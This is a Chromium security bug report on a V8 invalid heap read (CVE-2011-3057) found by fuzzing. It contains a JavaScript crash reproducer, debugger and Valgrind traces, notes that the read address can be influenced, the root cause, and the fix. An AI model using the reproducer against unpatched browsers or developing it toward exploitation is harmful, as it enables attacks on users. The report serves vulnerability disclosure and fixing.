New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user

Issue metadata

Status: Fixed
Last visit 20 days ago
Closed: Mar 2012
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Sign in to add a comment

[LangFuzz] Crash on heap with invalid read through GetPropertyWithCallback

Reported by, Mar 12 2012

Issue description

The JavaScript code below crashes Chromium 19.0.1061.1 dev (and likely Chrome 17+18) and d8 shells (tested trunk, 3.7 and 3.8 branches) on the heap with an invalid read.

Chrome Version: 19.0.1061.1 dev
Operating System: Ubuntu 11.10 64 bit

I also tested d8 shells of branches 3.7 and 3.8 and they fail the same way, so I assume that Chrome versions 17+18 are affected as well.

print = function() {}
function constructor() {};
function assertHasOwnProperties(object, limit) {
  for (var i = 0; i < limit; i++) {  }
try { Object.keys(); } catch(exc2) { print(exc2.stack); }
var x1 = new Object();
try { new Function   ("A Man Called Horse", x1.d); } catch(exc3) { print(exc3.stack); }
try { (-(true  )).toPrecision(0x30, 'lib1-f1'); } catch(exc1) { print(exc1.stack); }

Type of crash: tab
Crash State:

Program received signal SIGSEGV, Segmentation fault.
0x00001a174673c86a in ?? ()
(gdb) bt 8
#0  0x00001a174673c86a in ?? ()
#1  0x00001a1746737707 in ?? ()
#2  0x0000043c17204121 in ?? ()
#3  0x0000043c17204121 in ?? ()
#4  0x0000043c17254941 in ?? ()
#5  0x0000043c17240d51 in ?? ()
#6  0x00007fffffffbf88 in ?? ()
#7  0x00001a1746736543 in ?? ()
(More stack frames follow...)
(gdb) x /2i $pc
=> 0x1a174673c86a:      cmp    %r10,-0x1(%rax)
   0x1a174673c86e:      jne    0x1a174673c886
(gdb) info register r10 rax
r10            0x2c773ae0d0f1   48890600542449
rax            0xffffffff00000000       -4294967296

Trace from D8 with Valgrind:

==28819== Invalid read of size 8
==28819==    at 0x3CC7CD53FF8A: ???
==28819==    by 0x3CC7CD53A0A2: ???
==28819==    by 0x3CC7CD537BEA: ???
==28819==    by 0x3CC7CD536A8F: ???
==28819==    by 0x3CC7CD521C19: ???
==28819==    by 0x3CC7CD5225E8: ???
==28819==    by 0x3CC7CD50C406: ???
==28819==    by 0x3CC7CD5060F5: ???
==28819==    by 0x4671AF: v8::internal::Invoke(bool, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*, bool*) (in /scratch/holler/LangFuzz/v8-trunk/d8)
==28819==    by 0x468A0D: v8::internal::Execution::Call(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*, bool*, bool) (in /scratch/holler/LangFuzz/v8-trunk/d8)
==28819==    by 0x53B0D0: v8::internal::Object::GetPropertyWithDefinedGetter(v8::internal::Object*, v8::internal::JSReceiver*) (in /scratch/holler/LangFuzz/v8-trunk/d8)
==28819==    by 0x53B4A5: v8::internal::JSObject::GetPropertyWithCallback(v8::internal::Object*, v8::internal::Object*, v8::internal::String*) (in /scratch/holler/LangFuzz/v8-trunk/d8)
==28819==  Address 0xfffffffeffffffff is not stack'd, malloc'd or (recently) free'd

Danno, we're all a bit swamped with recent events. Can you look into this and confirm what versions are affected and describe the root cause a little so we can apply severity?
Also adding Stefano to maximize the chances of someone seeing it :)
I'll take a look.
Fix is on the way (

There is a missing smi (integer) check on the global object for load and calls specialized to be from a global object (not global proxy).  There is a comment in the code that such loads or calls are always "contextual" so the receiver cannot be a smi.

This comment is obviously wrong.  It relies on a pretty subtle invariant of the system that is not inforced in any way (and is not even true).

Since it seems like a micro-optimization anyway, I've restored the missing check in all cases.

Severity is a crash due to an invalid read.  I can't see how it can be anything more than that.
Regarding severity:

I managed to influence the crash address, e.g. by substituting the "true" in the last line by "0x0AAAAAAA" I get:

Program received signal SIGSEGV, Segmentation fault.
0x000028728cf3ff0a in ?? ()
(gdb) x /i $pc
=> 0x28728cf3ff0a:      cmp    %r10,-0x1(%rax)
(gdb) info reg rax
rax            0xf555555600000000       -768614333541253120

So it's possible to influence the address read from. What would be the consequence of a controlled read from this address?
We read from that address and compare to a constant (loaded into a register on x64 and ARM, and an immediate on ia32).

If that comparison fails we enter the V8 runtime to do a slow lookup for a named property of an JS number, which is benign.

If you can guess the value that makes the comparison succeed, then you could read or call a JavaScript global property value.

The risk seems to be cross-site scripting---that you might get access to JS values from a different context.

PS: From a V8 (not necessarily security) standpoint, this is a great test case.  So good job and thanks for that.
Status: Fixed
Fixed in V8 r11022 (
Labels: -Restrict-View-SecurityTeam -Pri-0 -Area-Undefined Restrict-View-SecurityNotify Pri-1 Area-Internals SecSeverity-Medium OS-All Mstone-18 SecImpacts-Stable SecImpacts-Beta Merge-Approved
Status: FixUnreleased
Can you please merge to m18 branch if this is a low impact fix.

Comment 9 by, Mar 13 2012

Merged to 3.7 and 3.8.
Labels: reward-topanel
Labels: -Merge-Approved Merge-Merged
Labels: reward-500
Thanks for the report! Seems like it'd be hard to corrupt memory from this so $500

Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
Labels: -reward-topanel reward-unpaid
Labels: CVE-2011-3057
I saw you first announced on your blog that this is fixed in 17.0.963.83, but then later edited the post. I assume this is because the fix hasn't made it into that version? :)
Yeah, an administrative error. We'll get it out in some other pending release but in the meantime the payment is still going through :)
Hehe :) I wasn't worried about the money, just curious :)
Labels: -reward-unpaid

Comment 19 by, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 21 by, Mar 10 2013

Labels: -Type-Security -Area-Internals -SecSeverity-Medium -Mstone-18 -SecImpacts-Stable -SecImpacts-Beta Security-Impact-Beta Security-Severity-Medium M-18 Cr-Internals Security-Impact-Stable Type-Bug-Security
Labels: -Restrict-View-SecurityNotify
Project Member

Comment 23 by, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 24 by, Mar 21 2013

Labels: -Security-Severity-Medium Security_Severity-Medium
Project Member

Comment 25 by, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 26 by, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 27 by, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit - Your friendly Sheriffbot
Project Member

Comment 28 by, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment